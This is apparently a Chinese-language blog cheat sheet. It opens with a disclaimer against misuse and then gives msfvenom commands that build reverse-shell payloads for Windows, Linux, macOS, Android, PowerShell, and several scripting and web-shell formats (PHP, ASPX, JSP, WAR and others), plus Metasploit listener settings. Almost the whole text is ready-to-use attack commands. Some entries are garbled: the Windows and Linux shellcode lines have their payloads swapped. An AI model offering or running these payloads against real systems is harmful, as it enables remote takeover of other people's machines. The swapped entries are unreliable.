声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
1
Payload生成方式
(1)windows
代码语言:javascript复制msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f exe > shell.exe
(2)liunx
代码语言:javascript复制msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform Linux -f elf > shell.elf
(3)mac
代码语言:javascript复制msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform osx -f macho > shell.macho
(4)android
代码语言:javascript复制msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 R > test.apk
(5)Powershell
代码语言:javascript复制msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
(6)shellcode(windows)
代码语言:javascript复制msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform Windows -f c
(7)shellcode(linux)
代码语言:javascript复制msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform Linux -f c
(8)shellcode(mac)
代码语言:javascript复制msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform osx -f c
2
反弹shell生成方式
(1)python
代码语言:javascript复制msfvenom -p cmd/unix/reverse_python LHOST=192.168.20.128 LPORT=4444 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw > shell.py
(2)bash
代码语言:javascript复制msfvenom -p cmd/unix/reverse_bash LHOST=192.168.20.128 LPORT=4444 -f raw > shell.sh
(3)Perl
代码语言:javascript复制msfvenom -p cmd/unix/reverse_perl LHOST=192.168.20.128 LPORT=4444 -f raw > shell.pl
(4)Lua
代码语言:javascript复制msfvenom -p cmd/unix/reverse_lua LHOST=192.168.20.128 LPORT=4444 -f raw -o shell.lua
(5)Ruby
代码语言:javascript复制msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw -o shell.rb
(6)php
代码语言:javascript复制msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
(7)aspx
代码语言:javascript复制msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f aspx -o shell.aspx
(8)asp
代码语言:javascript复制msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f asp > shell.asp
(9)jsp
代码语言:javascript复制msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw > shell.jsp
(10)war
代码语言:javascript复制msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f war > shell.war
(11)nodejs
代码语言:javascript复制msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw -o shell.js
3
MSF监听设置
代码语言:javascript复制use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 192.168.20.128
set LPORT 4444
show options #查漏补缺
exploit
-END-